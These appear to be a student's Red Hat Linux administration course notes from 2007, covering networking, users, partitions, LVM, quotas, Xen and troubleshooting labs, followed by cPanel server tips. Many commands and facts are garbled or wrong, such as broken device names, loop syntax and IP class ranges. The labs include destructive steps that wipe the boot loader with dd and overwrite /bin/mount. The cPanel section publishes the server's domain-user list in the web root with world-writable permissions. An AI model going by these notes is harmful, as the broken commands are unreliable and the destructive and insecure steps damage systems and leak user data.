# vi /etc/profile.d
# vi ~ /bash
* # vi .bshc
* Alias l = “ ls -l”
:wq!
#Read p “enter u’r name”: (1st name ) ( 2nd name)” first last
#Echo “your 1st name is $ FIRST & 2nd name is LAST”
#read -p “enter 5 value ” v1 v2 v3 v4 v5
# echo “1st value = $ v1”
# echo “2nd value = $ v2”
# echo “3rd value = $ v3”
13. investing & managing process
Process :-- it is set instruction loaded inside memory
Component
Exec THREAD
DID
Memory - management
Process
Parent process child process
logout
parent
process
child
process
# pstree | les --> shows the tree structure of process
# ps -a --> the command on current terminal
# ps –x -->
# ps –l --> shows the list of process
# ps -ll --> it shows the process will run by the user
27th aug 2007
Ch - 10 Basic System configuration tool
* protocols :-- a set of particular rules to be obeyed by the networks
* TCP /IP :-- TCP—transmission control protocol
IP – internet protocol
* DHCP :-- dynamic control protocol
* IP Address :-- it is address of particular machine
* Subnet-mask:-- all the machine having a same address & network number
* managing ethernet connection :--
1) eth .: 0 eth 0:1
2) eth : 1 eth 0:2
* ifconfig eth no --> to check the interface
* ifdown eth no --> to shutdown / stop the interface
* if up eth no --> to start the interface
* DHCP :-
* DNS – (Domain Name Service) Server:
(server1.example.com)
Gatway :255:255:255:0
192.168.0.x class-c
172.168.x.x class –b
112.x.x.x class –a
* network configuration file :--
* ethernet devices :--
1) configuration file for particular ethernet
# vi /etc/sysconfig/network –script /ifcfg - ethx
Line :--
1 . it gives a company name or who can be manufacture
2 .device name
3. broadcast address
4. hardware network it is given by manufacturer itself (eth device)
5. IP address --> it gives ip address
6. netmask :- it will be belong to class c network
7. network :--
8.ONBOOT = yes bring uploading boot = yes not bring up during boot=no
9. gateway :-- particular gateway for particular IP address
10. TYPE = ethernet – it is type of card
(ethernet wireless)
* 2 list of all interface device :--
# vi /usr/share/doc/initscript -* /sysconfig.txt
* device :-- it means the name of particular device H/W address
* Boot Proto :- where the network should take it address that was Ip address
* Gateway :-- it is recognize to make host other 0
* Onboot :-- start when booting y/n
* Yser CTL :-- should be set to y to allow non root user to use the ifconfig
Command
* Type :-- type of ethernet / wireless what type of network interface card
3) global setting of network configuration file –
# vi /etc/sysconfig/network
i) networking_IPV6 = yes
to enable or disable networking an it is normally set to yes
ii) HOSTNAME = yes
Server1.example.com
iii) networking = yes
iv) NIS domain
4) DNS configuration file : IMP
# vi /etc/resolve.conf
It is stored in it
* printing in linux
# pr install.log| less
# vi /etc/cups/printer.conf
Conf-file of printer
# ls stat – static for printing
# lpr install.log
# system-config-date
This is the configure a date set the date & time
# vi /etc/sysconfig/network-script/ifcfg – eth0
28th aug 2007 /etc/bash.rc
Unit -14 Advance topic in user group & permission
# useradd <name>
# userdel < name >
# usermod -c “this is new user” <name>
Vi /etc/ passwd
S Suid : special UID
S Sgid : special GID
T Sticly bit :
SUID : 4
SGID : 2
Sticky bit : 1
* umask : - used for adding special permission
# umask 022
Directories default permission 777
File default permission 666
# chmod < 0551 > <file>
* extra commands :-
# su -bob - switch to bob user
# who am I - to show user
# users - to show information abt user
# groups
#who
#w
#ID
Unit 15 -- Linux Filesystem In Depth
* system has partition
: each partition has ( unique) filesystem
Ext-2 old partition ( old version)
Ext -3 linux has used ext-3 filesystem
1) speed
2) Stability ext -3 feature
3) storage
* Inode :-- index node
* file system consists of inode table
* Inode table consist of list of Inode number
# ls - l | list allthe inod number
Effect of CP command on inode number
Cp - copy
# cp file1 file2
Effect of MV command on inode number
Mv_ file1 / = moves content to destination
# mv file1 file2 - rename
[change]
4) effect of RM command on inode number
# rm file1 [ it’s freed that inode]
The inode num are free after this command
* (whenever uerase one file that u cant retrieve the data in soft link)
* link :--
1) hard link -- lm file 1 file2
2) soft link - ( symbolic)
( u cant span between partition)
# ln -s file1 file2
We cannot retrieve the data in this line
# rm -f file
Access the cd/ floppy linux
For cd
1) # mount /media/cdrecorder
# cd /media/cdrecorder
# ls
# cp _______/ root
# umount /media/cdrecorder
2) # mount /media/floppy floppy
3) # mount /media/sd -4 pendrive
* archive compress
creating # tar -cvf tar.tmp /tmp
create verbos file detail info
listing # tar -tvf tar.tmp
extracting # tar -xvf tar.tmp
* Zip
# gunzip -v install.log gz-zipfile
# gunzip -v install.log.gz
# b zip2 -v install.log .bz2
Zip file with exte-n
# b unzip -v install.log bz2
#tar -czvf tar.tmp /tmp
Create extract
# tar - xzcf tar.tmp
# df -H --> it will show u a free space in H disk
Human readable fashion
# df -h
# du -s
# du -s
#du -sh
#
# mtools --> this command is used for floppy drive accessing.
# mdir --> to see the dir/files in floppy
* 14 Network client
1) firefox - it’s start of internet
i) speed
ii) multipal tab browsing
iii) excellent cookie management
( it’s is a special type of file)
iv) block popues
v) support for latest plugines
2) links :-- it is managed by yahoo.com
# links http://www.yahoo.com
# links - dump http://www.yahoo.ocm
# links – source http://www.yahoo.com
# vi /etc/resolve.conf
3) ping :-- helps to see connectivity in n/w
# ping 192.168.0.1
# ping station1.example.com
# ping -c 3 192.168.0.1
4)host :-- it converts hostname to Ip add
# host station1
*# dig :-- same as host command but in more detail
# dig station1
5) traceroute :- trace relative path traceroute 192.168.0.254
6) ssh secure shell
# ssh 192.168.0.4
(it allows to u a configure a system)
# exit
#dhclient -
--> to retain u’r connectivity
# service sshd restart
--> it’s start u’r ssh command
7) FTP:-- file transfer protocol
# ftp station1
# ftp
ftp/> cd pub
ftp/> ls
ftp/> quit
ftp/> mget xyz --ftp get
ftp/>mput
ftp/> quit
8) SCP :- secure copy
# scp abc 192.168.0.1
# scp abc 192.168.0.1:/etc
10) Wget :-- get files via HTTP or FTP
# wget http://www.redhat.com/traiing /index.html
Above command used for to copy index html page to our system then use this command
4th sep 2007
1) * IF loop :
Lt- less than equal to
Gt- greter than equal to
Le- less than equal to
I= 1 Ne – not equal to
If [ $i – ne 10] Eg – equal to
Then Ge – greter than / equal to number
Echo “not equal 10”
Else
Echo “equal to 10”
Fi
:wq!
* I = “ost “ --> string
If [$t = “ost”];
Then
Echo “equal”
Else
Echo “not equal ”
Fi
I=3 case
1) echo “one”;;
2) echo “two”;;
3) echo “invalid” ;;
esac
2) for loop:-
I = 10
For I in $ (seq 110)
Do
Echo “$i”;
Done
3) dowhile loop:-
I = 100
While [$ -i- ge !]
Do
Echo $i
I = ‘exp $ i-i’
Done
Lt - less than
Gt – greter than
Le – less than equal to
Ne – not equal to
Eq – equal to
Ge – greater than or equal to
IMP for exam –
INSTALLATION :--
Anaconda : is redhat enterprise linux installer
1) kikstart :-- speed of installation
2) rescue mode :- command line troubles shooting
3) Upgrade:- upgrade by anaconda
* 2 modes of working of anaconda
1) it start the installation the process
2) carries the installation
* functions :--
1) it initialize installation
2) parser I/P from command
3) it detect the drive ( hardware)
4) it detect extra drive
5) if=t sets language keyboard layout & networking
6) Start networking if required for installation
* modes of Installation
installation purpose devices
1) CDROM
2) HDD
3) HTPP
4) FTP
5) NFS -- network file system (faster than other)
* initrd img : image required by kernal
* vm linuz : compress UR linux kernal
Start of installation
Linux text
* first screen language (tab-space) ur
Ok
* linux server directory
/var/ftp/pubn/RHEL5
Next -- welcome screen skip
Partition type screen
* create custom layout
ok
1)
2)
3)
1) Mount point - /
Ext - 3 type
Size MB 5000
2) mount point - /home
Ext -3
Size mb 300
4) swap -
size - 2000mb
* boot loder configuration GRUB
Not use for frub password
* MBR – master boot record
Hostname configuration
As it is
* automatically via DHCP
* Asia Calcutta for timezone
Root password --> redhat
*
* package selection screen
Customize softeare selection
1) Administrative tools
2) DNS name server
3) Development library
4) Development tools
5) Editor
6) FTP Server
7) GNOME desktop Environment
8) Graphical internet
9) Graphic
10) Legacy network server
11) Mail server
12) Network server
13) Primary support
14) Server configuration tool
15) Sound and video
16) System tools
17) Text base internet
18) Web server
19) Windows file server
20) Windows system
* dependency check
--> take out the CD
( GRUB :- what do find out the boot sequence where it is start)
1
RH – 133
1. SYSTEM INITIALASATION:- date: 6th sep2007
1) POST:- power on self test
2) BIOS :- ( Basic Input Output System)
3) POST :- Power On Self Test
4) CMOS :- ( Complementary metal oxide semiconductor )
5) Boot sequence :- CD , Hard Disk
It searches the device
6) Boot Device :- HDD
7) MBR :- master boot record
8) GRUB :- grand unified boot loader
9) Kernel :- core of operating system
i)system initialization
ii) process management
iii) memory management
iv) Network Initialization
10) Vmlinuz :-- computer u’r linux kernel
11) Initrd.img :-
12) Init sequence :-
Login prompt
* Init Sequence
# vi /etc/rc.sysinit
1) Activate UDVE & se Linux
2) Kernal parameters sets
3) Sets the system clock
4) Enable Swap partition
( SWAP – virtual memory)
5) sets HOST name
6) Root file system check & remount
7) Active RAID & LVM
8) Enable disk quota
9) Check & mount other filesystem
10) Cleans up stail lock & PID files
# vi /etc/inittab
0. halt ( do NOT set init default to this)
1. single user mode
2. multiuser , without NFS (the same as 3. if you do not have networking )
3. Full multiuser mode
4. unused
5. X11 ( graphical mode)
6. Reboot ( do not set initdefault to the)
* id:3:initdefault
--> that means full multiuser mode
# init 0
# init 6
# init 5
(xen-virtualisation)
# vi /etc/rc.local --> it execute after all the other init script
# vi /etc/rc.d/rc
Runlavel changes
This file is responsible for starting/ stopping services when the runlevel changes.
# vi /etc/motd
--> type the message of the day
# vi /etc/issue –
1. Name
2. Kernel \r on an\ i686 (intel686)
# vi /boot grub/grub/grub.conf
Default = 1
Timeout = 5
Password -- md5
Splash Image = (hd 0,1)
Cha 2 : PACKAGE MANEGMENT
Redhat package manager :-- RPM
Features :--
* it allows to install s/w (software)
* allows to upgrade s/w
* allows to remove s/w
* allows to Repair s/w
* many other
RPM package Install :--
# mkdir –p /mnt/server1
--> to make a directory 1st
# mount –t nfs 192.168.0.254:/var/ftp/pub /mnt/server1
--> then mount the nfs location
# cd /mnt/server1/RedHat/RPMS
--> then change the directory
# ls -> list
# RPM –ivh zsh-html<tab>
--> Install the package u want
* how to upgrade package
# rpm –Uvh zsh –htm<tab>
* how to fresher /repair
# rpm –fvh zsh-html <tab>
* how to erase /remove the package
# rpm –E zsh-html
* how to see a package install in system
# rpm –qa (query all)
* hwo to list of file required for packages
# rpm –ql - (query list )
* How to see information regarding the respective package.
# rpm-qi <package name>
* how to see a virsion of package
# rpm –q
* how to see a older or newer version of package
# rpm –q - - change log <pack name>)
* how to see a script used while installing
#rpm –q – script <pack name>
* how to see utility given by the package
# rpm –q -- provides
Note: (dependency different between RPM & YUM package installing
YUM should be resolve.)
* INSTALL THE PACKAGE BY YUM
* YUM
# cd /etc/yum.repos.d/
# ls
# rm
# cd
# ftp server1
Name : ftp
Password:
ftp/> ls
ftp/> cd pub
ftp/> mget server1.repo
mget –yes
ftp/> quit
# cp server1.repo /etc/yum.repos.d/
# yum install <package name>
# yum list <package name>
# Yum –y <package>
Cha :- 3
It’s core part of o/s
1) system initialization
2) process management
3) memory management
4) security
5) sets up network & file system [ protocol]
module .: it is short extension of kernal.
* feature :--
1) reduces memory footprint
2) easy of uptime
3) flexibility :-- load /unload
# lsmod -- list of modual
# modprobe-- it is add a modual
# rmmod <modual > for removing
# ls /lib/moduals/<tab>/kernal/drivers -->
It’s is used for 2 see the driver of u’r system
# modinfo (cd rom)
--> it used for regarding info about the partition modual.
# modinfo ISDN
# /dev:- used for device drivers
* 3 attribute regarding /dev
1) major number
2) minor number
3) device Type
i) ii)
Block type character device
Used to stored deta use a deta sterm
# ls –l /dev/ | less
Device available by kernel
* udev :- is daemon used to --> administrator /dev
(it is background process not visible)
* /proc :- it is used to configure or set a configuration of kernal
# cat /proc/cpuinfo--> details /information of CPU
# cat /proc/meminfo- --> complete information of system memory
# cat /proc/modules --> info of modules
# cat /proc/iomem --> input & output memory required
# cat /proc/ioports -->
# cat /proc/partitions-->
# cat /proc /version --> version of linux
# vi /etc/modprobe.conf
--> Configuration file containt par assistance setting that apply to modules
commonly loaded onto the system.
# free :-- it is used to see a memory uses .
# vmstat – virtual memory static’s to see the by this command
# Uname –R --> to see the virsion
#sysctl –a –use to change a value kernal setting
# sysctl –w fs. leases –enable = o
# ls /lib/modules/2.6.18.8.el5/kernel/drivers
11th sep 07
SMP : kernel user 4 GB RAM
PAE : 4*4 split memory process as well as
: kernal each user 4 GB
Xen : virtulasition
Unit 5 . User Administration
# vi /etc/passwd : user database
# vi /etc/group : group database
# vi /etc/shadow : passwd database
# useradd ost
# passwd ost
* how to add a comment
# usermod –c “I am king ” ost
* how to change in directory
# usermod –d /root ost
* locking password
# usermod -L ost
* unlocking password
# usermod -U ost
Id ost
Group
# usermod -g root ost
* adding different groups
# usermod -G root ,bin ost (user name)
* change login shell :-
# usermod –s /bin/sh ost
/bin/bash
* how to change a login name
# usermod -l ram ost
* delete a user
# userdel -l ram
# userdel - r ram ( r –recursiverly with home directory)
* adding a group :
# groupadd ost
# groupmod -n abc ost
# groupdel - abc ( deleting a group)
# groupmod -g 2000 abc
# vi /etc/group
# Group -r
* ageing policies
# chage -l ost
# chage -m 2 ost
# chage -M 12 ost
# chage -E 2007/08/11 ost
# chage -E never (root)
#chage -I
* USER INFORMATION
* Authentication :-- diff type of password
GUI : system-config-authentication
# Authconfig –tui
NIS setting
Domain : not example
Server : 192.168.0.254
* how to solve a home dir error
# vi /etc/fstab
Ext3 ,acl -- Access control list
:wq!
# vi /etc/auto. master.
/home/guests /etc/auto. guests
--- timeout = 60
# vi /etc/auto. guests
--rw, soft ,intr 192.168.0.254
/home/guests/&
# mount –o remount /home
# service autofs restart
It is going to auto mounted features ..
# useradd guest 2001
# passwd guest 2001
NIS setting
# su - guest 2001
Home directory error
#vi /etc/fstab
LABLE-/home default , acl 1 , 2
:wq
# vi /etc/auto. master
/home/guess /etc/auto. master --timeout = 60
( mount a this dir when give this command in 60 sec.)
# vi /etc/auto. Guest
* --rw , soft , intr 192.168.0.254 /home/guest &
----------------------------------------------
NIS
Upbind & portmap
5 files effected :--
# vi /etc/sysconfig/network
# vi /etc/sysconfig/Authconfig
# vi /etc/pam.d /system-auth as
# vi /etc/yp.conf
# vi /etc/nsswitch .conf
Getfacl /home/user
Modifie a ACL
# setfacl -M u : user1 : rwx /home/user2
# cd /home/user2
----------------------------
# useradd user1
# passwd user1
# useradd user2
# useradd user2
# getfacl /home/user1
# setfacl -m user1:user2:rwx /home/user1
* login as user2
# cd /home/user1 .
------------------------------
* SE linux --- security enhance.
* 3 modes
1) enforcing
2) disabled
3) permissive
configuration file :-
# vi /etc/sysconfig/selinux
# ls –Z
User : role : type : sensitivity : category
# getenforce --> current status
# vi /etc/sysconfig/selinux
Selinux = enforcing
# reboot
0 – permissive
1 – enforcing
Cha:-- 6 filesystem management 14th sep 07
* device drivers
software to drive hardware
1) static ( Vmlinuz )
CPU, RAM, HDD
2) modular (initrd.img)
DEVICE NAME IN LINUX
Primary master IDE HDD /dev/had
Primary slave IDE HDD /dev/hdb
Secondary master IDE HDD /dev/hdc
Secondary slave IDE HDD /dev/hdd
Primary master SCSI/SATA /dev/sda
Primary slave SCSI/SATA /dev/sda
secondary master SCSI/SATA /dev/sda
secondary master SCSI/SATA /dev/sda
modem /dev/modem
com1 port /dev/tty s0
com2 port /dev/tty s1
cd rom /dev/cdrom
cdwriter /dev/cdrecorder
parallel port /dev/lpo
( swap is used for virtual memory
# mkdir –p # mount /dev/cdrom)
System directory function
/ main directory of linux
/home home dir of non root user
/boot booting related files
/var variable file used by function
/tmp temporary files
/bin it’s binary file used by
The basic commands by user
/sbin system binary -- use by
System administration purpose
/home it’s home dir of non root user (
/etc used for configuration file
/dev used by device
/lib all the library file
System is stored in it
/opt third part s/w used when
Something is download
/proc current system information
/media used by the removable information
/user user file
DIGRAM OF HDD
MBR -- ( Master Boot Record ) -512
1) grub – (446 bytes )
2) partition table
3) active partition
* by default - 4 part
IDE HD -- 63 part ( 3p 60p)
SCSI / SATA—15 part (3p +12)
* Adding up a filesystem to filesystem free:
* identity device
* partition device
* make a filesystem
* lable filesystem
* add entry to fstab
V . IMP
* how to make a partition
1) to make partition +100M
2) define the type of filesystem
( ext3 ,ext2, swap)
3) mount the filesystem on /data(any define name) directory
on -- i) temporary basic
ii) parmenent basis
step --> 1
# fdisk -l list of the partition
# fdisk /dev/had
P
<--
N
<--
P
<--
Press enter key for default size
<--
+100M
<--
P
<--
W
<-- writing and quitting particular changes
# partprobe
It’s use for refreshing system without rebooting.
Step --2
Ext-2
# mke2fs /dev/hda4
# mkdir --p /data
# mount –t ext2 /dev/hda4 /data
#mount
# cd /data
# ls
# touch p, q, r
# ls
#cd
# umount /data
# mount
* for deleting a partition
#fdisk /dev/had
-->P --> D --> 1-4 ….? --> P --> W--> # partprobe
# mkdir –p /data
# e2label /dev/hda4 /data
# e2label /dev/hda4
/data
# vi /etc/fstab
dev/data
LEBEL = /data
Dump frequency fsck ---(files check)
/dev/hda4 /data ext2 defaults 0 0
LABEL = /data
#wq!
# mount /data
# mount
#cd /data
# touch a,b,c
#cd
#umount /data
#mkfs. ext3 /dev/hda4
* converting to the ext2 to ext3
# mkfs. Ext3 /dev/hda4
# mkdir -p /data
# mount -t ext3 /dev/hda4 /data
# mount
# cd /data
# touch p , q ,r
# cd
# umount /data
* permanent basis :--
*
# vi /etc/fstab
/dev/hda4 /data ext3 defaults 0 0
:wq!
# cd /data
# ls
# touch c , d ,e
#cd
# mount
#cd /data
# umount /data
* Converting to the ext-2 ext-3
# mkfs. Ext3 /dev/hda4
# mkdir –p /data
# mount –t ext3 /dev/hda4 /data
# mount
# cd /data
# touch p , q ,r
#cd
#umount /data
* permanent basis
# vi /etc/fstab
/dev/hda4 /data /ext3 defaults 0 0
:wq!
# cd /data
# ls
#touch c,d,e
#cd
#mount
# cd /data
# umount /data
* how to install /mount an a remote nfs share :--
# mkdir -p /mnt/server1
# mount -t nfs 192.168.0.254:/var/ftp/pub/mnt/server1
#cd /mnt/server1/Redhat/RPMS
#ls
#cd
#umount /mnt/server1
* how to auto-mounter feature of linux
# vi /etc/auto.master
add the 8th line
/,misc /et/auto.misc –timeout = 60
:wq!
# vi /etc/auto.misc
Go to end of file and add
Server1 -fstype=nfs 192.168.0.254:/var/ftp/pub
:wq!
# service autofs restart
# cd /misc/server1
# mount
#ls
#cd
Wait for 1 min
# mount
NETWORK CONFIGURATION 19th sep 2007
* shows active interface on u’r system
# ifconfig --> shows active interface
# ifconfig -a --> active & inactive interface
# ip link --> to see the interface & hardware address of the interface
* 3 modes of communication
1) Simplex
2) half duplex
3) full duplex
1) simplex :-- does not realy on the response of destination (e.g. radio)
2) half duplex :-- wait for acknowledgement of destination ( e.g walky talkie)
Directly connection 2 sys
4) full duplex :--
( e.g telephone)
* # ethtool : this command is used to speed & duplex setting of the particular interface
e.g eth 0 : eth1
100 base T -- transmits the speed 100mbps
# mii -tool -V ( verbose manner)
It show the capability of 2 interface
# ip address :- hardware address or shows u the interfaces.
* interface configuration file
stored in
# vi /etc/sysconfig/network-script-scripts/ifcfg-eth0
Bootprot : dhcp – converts the IP address dynamic setting for configuration file.
* static setting for configuration file
if having IP ADDR =
NETMASK = 255.255.255.0
* DEVICE ALIASES
Eth 0
Eth 0 : 1
Eth 0 : 2
* routing table :-- allows to transmit packets to remote system
* how to see a current routing table on u’r system
# route
# netstat –r
# ping –c 4 192.168.0.2
# traceroute 192.168.0.2
Hopes 30
IMP—question for exam
# hostname : to see the host name
* how to change a hostname to temporary bases
# hostname
* ho to change hostname permanent
# vi /etc/sysconfig/network
HOSTNAME =
:wq!
# service network restart
Conf file :--
# vi /etc/hosts
* local revolver
it is used for forward & reverse lookup is given
1) forward lookup : it searches the number when name is given
e.g # ssh station1
2) reverse lookup : it far name when number is given
e.g. # ssh 192.168.0.1
* remote resolver : DNS
# vi /etc/resolve.conf --> it’s conf file for resolver
* Advanced file system management :-- 21th sep 2007
LVM : Logical Volume Manager
* It helps to resize as recognize filesystem
* physical device : put’s present on system
: physical volumes
: volume group ( club together)
: logical volume
* advantage :-- it’s flexibility of storage
# pvcreate /dev/hda4 /dev/hda5
# vgcreate data0 /dev/hda4 /dev/hda5
# vgdisplay
It’s displayed u a volume group
# lvcreate -L +40mb -n data data0 (L=lenth size n= name)
# lvdisplay
It’s displayed u a logical volume .
# mkdir –p /data
# mkfs .ext3 /dev/data0/data
# mount –t ext3 /dev/data0/data
* steps --
# fdisk /dev/had
N
<--
E
<--
<--
+100m
<--
<--
+100 m
<--
T
(1 -5 number)
Type – 8e
<--
Num
<--
Type 8e
<--
p
<--
W
<--
# partprobe
# pvcreate /dev/hda4 /dev/hda5
# vgcreate data0 /dev/hda4 /dev/hda5
# vgdisplay
It’s displayed u a volume group
# lvcreate -L +40mb -n data data0 (L=lenth size n= name)
# lvdisplay
It’s displayed u a logical volume .
# mkdir –p /data
# mkfs .ext3 /dev/data0/data
# mount –t ext3 /dev/data0/data
# mount
# cd /data
#ls
# touch a b c
# ls
# cd
# umount /data
(fsck –l /dev/hda0/data)
* how to resize LVM
to save the new LV table
# lvextend -l +20m -n /dev/data0 /data
#resize2fs /dev/data0/data
It makes the partition on the system
* how to remove logical volume
# umount /dev/data0/data
# lvremove /dev/data0/data
# lvremove data
* how to remove physical volume
# pvremove /dev/hda4
# pvremove /dev/hda4
# partprobe
Refresh the list of partition
* KIKSTART INSTALLATION -->
(auto answering the system - kikstart)
* do this step for server side
# vi anaconda. Ks .cfg
# cp anaconda .ks .cfg /var/ftp/pub/ks5.cfg
# vi ks.5 cfg
* client side
-- insert the bootable disk in cdrom then
# linux ks=nfs:192.168.0.254:/var/ftp/pub/ks5.cfg noipv6
Anaconda file
Or
# linux = ks noipv6
7.QUOTA SYSTEM 27th 2007
* RAID : redundant array of independent device
* It’s has 3 different stages :--
RAID 0
P-1
P-II
RAID -1
P-1
P-II
RAID -5
P-1
P - III
P-II
* QUOTA SYSTEM --IMP :
Needed by the administrator ( root ) so that it can prevent the non root users can’t just fill his data
--> it’s used by the administrator to limit the usages of file /disk by non-root user
* Two type in quota
1) inode quota --> it’s th limit the no. of file on the disk.
3) block quota --> it’s limit the no of directives on the disk.
--> when you use inode quota it issues you a soft warning
--> when you use block quota it issues you a hard warning
IMP –Steps
# vi /etc/fstab
(Go to the partition & where default in written,replace it by usr quota.)
/home usr,quota 1 2
:wq!
# mount –o remount /home
# init 1 – ( go to the single user mode)
# quotacheck -cu /home
# exit
#quota on /home
# quotaoff
-->later to following step
* limiting a no. of files :--
# useradd <any name> e.g test
#passwd test
# edquota test
Block soft hard inode soft
60
100
:wq!
# su –test (switch to user test )
then
# for I in $(seq 1 100);do echo –n “file ${i}”; touch file ${i} 2>&1; done|less
(it shows you a 1 to 100 number of sorting)
# su –
# edquota test
Block soft hard inode soft
512 1024
:wq!
# su –test
# dd if=/dev/null of=bigfile bs=1k count=400
( dd--> means convert & copy. )
( If--> means input fif . )
( Bs --> means block size. )
10 . VIRTUALISTION WITH XEN
* advantages of virtualization
1) security
2) management
3) effective resource usages
--> In virtualization in creating a virtual system in your mainframe
*hypervision :- it’s manger for xen
*domain:- it’s where the virtualization system works
* 2 types of virtualization available available :--
1) para virtualization :-- here diff type of os can be created
e.g. RHEL-3 , RHEL -4 , RHEL -5 etc
2) full virtualization :-- it has only 1 type of os
* two package required to install
the virtualization system
1) kernel-xen 2)xen
# cd /etc/yum.repos.d
# ls
# rm server1.repo.
(Remove the repository fiel)
# cd
#ftp server1
Name : ftp
Passwd : just enter (no need for password)
ftp\> cd pub
change the pub directory
ftp\> mget server1.repo
get the sever1.repo file
ftp\> quit
# cp server1.repo /etc/yum.repos.d/
# yum install xen
Y<--
# yum install kernel – xen
Y <--
Then after that following step
# vi /boot/grub/grub.conf
Default : 1
replace with 0 (so it would be default 0)
:wq!
# reboot
# uname –r
Check the version
# df –H
( at least 10 gb should be available for the virtualized system)
# setenforce 0
# xm list
# xmcreat test -c
# virt-install –n test –r 300-f /tmp/test –s 6 –nographics nfs:192.168.0.254:/var/ftp/pub RHEL5 -p
# xmcreat - test-c ( login for virtual system)
* for existing the virtual system
# poweroff
# shutdown now –r
# sm set-mem 1024 domain-0
* SYSTEM SERVICES
*system.klogd --> (demon of log file in u’r system)
- file in the system for troubleshooting
# vi /var/log/mdmesg --> kernel boot message
# vi /var/log/message --> system error message
# vi /var/log/maillog --> error from Sendmail server
# vi /var/log/secure --> security , xinetd services messages .
* syslogd configuration file (stored in)
# vi /etc/syslogd.conf)
1) the 1st column is indicate date & time of the message
2) the 2nd column is indicate error is been generated
3) 3rd column is indicate name of the application due from where error accureted .
4) 4th is actual message itself
* X – Org --> it is the main foundation or the base of GUI
X- server X-client
It s/w to drive h/w any application to the display
( video card)
* how to configure ur GUI
# system – config –display
( /etc/x11/xorg.conf --> conf file of ur server )
( virtual network computing )
* crontab -e -- edit a particular crontab
* crontab -l -- list the particular crontab
* crontab -r -- to remove a crontab
# vi /etc/cron.allow --> list of user allow to use cronetab
# vi /etc/cron.deny --> list of the users not permitted to use crontab
(Exec metacity)
* how to run an application automatically whenever GUI is started
# vi /etc/X11/xinit/xinitrc.d/xterm.sh
#!/bin/bash
Firefox & ( command to be run at background)
:wq!
# chmod u+x /etc/x11/xinit/xinitrc.d/xterm.sh
# start x
1st oct 2007
* how to control remote desktop
Server & Client
# yum install kdenetwork
* Server Side Step (e.g 192.168.0.254 )
# yum install kdenetwork
# startx
In GUI
System-->preferences--> remote desktop--> allow other to view
Allow other to control
Enter the password i.e Redhat -->close
* client side step
# yum install kdenetwork
# start X
Application --> internet --> krdc
--> name : 192.168.0.1:0 --> allow high quality lan
--> connect
V-IMP
( Ts package install by RPM )
( # rpm –ivh ftp://192.168.0.254:/pub/REdHat/RPMS /rhce -ts*.rpm )
11. TROUBLESHOOTING
LAB SEQUENCE
1) booting related problem
2) ---
3) Simple problem
1st field
I) start x (start related problem)
Hints :--
1) console alive on f-7
2) check for
#df –H
name of the partition should be 100% filled
3) # service xfs start ( if not working)
4) # system –config-display
II) networking not working
1)hostname resolution problem
# hostname station1.example.com
# vi /etc/resolv.conf
o/p
search example.com
Name server 192.168.0.254
:wq!
2) cannot ping to single outside machine
# ping stationX.example.com
# ifconfig
# service network restart
( if inet address is not available)
3) cannot ping to any machine in lab :--
# ping stationX . example.com
# ifconfig
# ifup eth0 (it’s start ur lan card)
III) booting related problem
problem might occur in following file
1) # vi /etc/inittab
*hint:-
i. default runlevel may be deleted.
ii. check system initialization patch for correct runlevel.
(Vmlinuz –it’s compress the kernel)
2) vi /boot/grub/grub.conf
( grub configuration file )
* hint :-
the LABEL= / may be deleted
:wq!
3) # vi /etc/rc.local
* hint :- there may be halt /reboot placed in the script remove it
4) vi /etc/fstab ( mount point defined )
Hint:--
LABEL =/ may be deleted ( so add it after words )
:wq!
# rpm –ivh ftp://192.168.0.254:/pub/REdHat/RPMS /rhce -ts*.rpm
( trouble shooting package installation)
# tslocal 1
# tslocal 2
Login as Gertrude user with same passwd
# tslocal 3
# vi /etc/fstab
* check for /home partition & the userquta (usr,quta)
# mount –o remount /home
# touch /home/quota. User
# quotacheck -cM /home— ( check that command to work)
# tslocal 4
1. reboot the system & check for account it must be expire
2. reboot & go to the single user mod
3. # cahge -l root
4. # change -E never root
5. # exit
* network related problem :--
# ts network
# ftp mserver1.example.com
# vi /etc/resolve.conf
Name server 192.168.0.254
(192.168.10.254 -- mistake)
:wq!
# ftp server1.example.com
# ping server1.cracker.org
# ifup eth0
# system – config- network
Change IP address 192.168.0.254
# service network restart
# vi /etc/sysconfig/network-script/ifcfg-eth0
* booting related problem
# tsboot 1
Here is runlevel problem So go to the
# vi /etc/inittab & solve the problem
:wq!
# tsboot2
# vi /etc/inittab &solve the problem
Change in the
* how to corrupt grub boot loader & repair in rescue mode
# dd if =/dev/zero of=/dev/had bs = 446 count = 1
# boot linux rescue
Nfs setup - 192.168.0.254
/var/ftp/pub/RHEL5 ( it’s may be change)
Continue -->
# chroot /mnt/sysimage
# grub-install /dev/had
# exit
Remove cd
# exit
* how to corrupt a mount command repaired at rescue mode
# cp /bin/date /bin/mount
# reboot
# linux rescue
<-- enter
continue
# Chroot /mnt/sysimage
# rm -V util –linux ( a backup stored in it )
# exit chroot
# cd mnt
# cd source sysimage
# cd server
# ls
# rpm –ivh –force - - root /mnt/sysimage util-linux*
#exit
#exit
# mount
# fdisk /dev/had
( make a logical partition)
Type (t) set it to fd
# partprobe
# mdadm -C /dev/md0 –a yes-L 1 –n 2 /dev/had {5,6} <--
( 4th partition is extended )
# mdadm –detail /dev/md0
# mdadm --remove /dev/md0
# cd /dev/md0
# For I in $ (seq 1 100) do echo –n “file${i}” touch file ${i} 2>&1 done | less
# exit
Root # edquota cat
# su –cat
Quota
# dd if=/dev/null of=bigfile bs=1k count=400
#exit
Edquota cat
# su –cat
1
Linux Server Commands
http://www.reallylinux.com/docs/admin.shtmlcat /etc/trueuserdomains > /usr/local/apache/htdocs/apache.txt
then cd /usr/local/apache/htdocs
chmod 777 apache.txt
browse http://serverip/apache.txt
this will show all main domains
you can compare domain from whm >> list account
total number of domains on the server
and
cd /usr/local/apache/htdocs
cat apache.txt | wc -l
both will show same value
--------------------------------
above command will show domain names with username
If want only domain names
try below :
cat /etc/trueuserdomains | awk '{print $1}'| cut -d: -f1 > /usr/local/apache/htdocs/apache2.txt
suppose from any file you want o just print column no 3 then use awk '{print $3}'
And if want to delete ":" from file from each line then : cut -d: -f1 (if colone is after 1st field)
And then browse file "apache2.txt" with the server IP.
When trying to access phpMyAdmin throw following error :
Error #2002 - The server is not responding (or the local MySQL server's socket is not correctly configured)
Solution for cPanel:
chown -R cpanel:cpanel /usr/local/cpanel/base/3rdparty/phpMyAdmin
ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock
chown -R root:root /tmp
chmod -R 1777 /tmpApache Web Server Logs:
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error_log
Exim (Email) Logs:
/var/log/exim_mainlog
/var/log/exim_paniclog
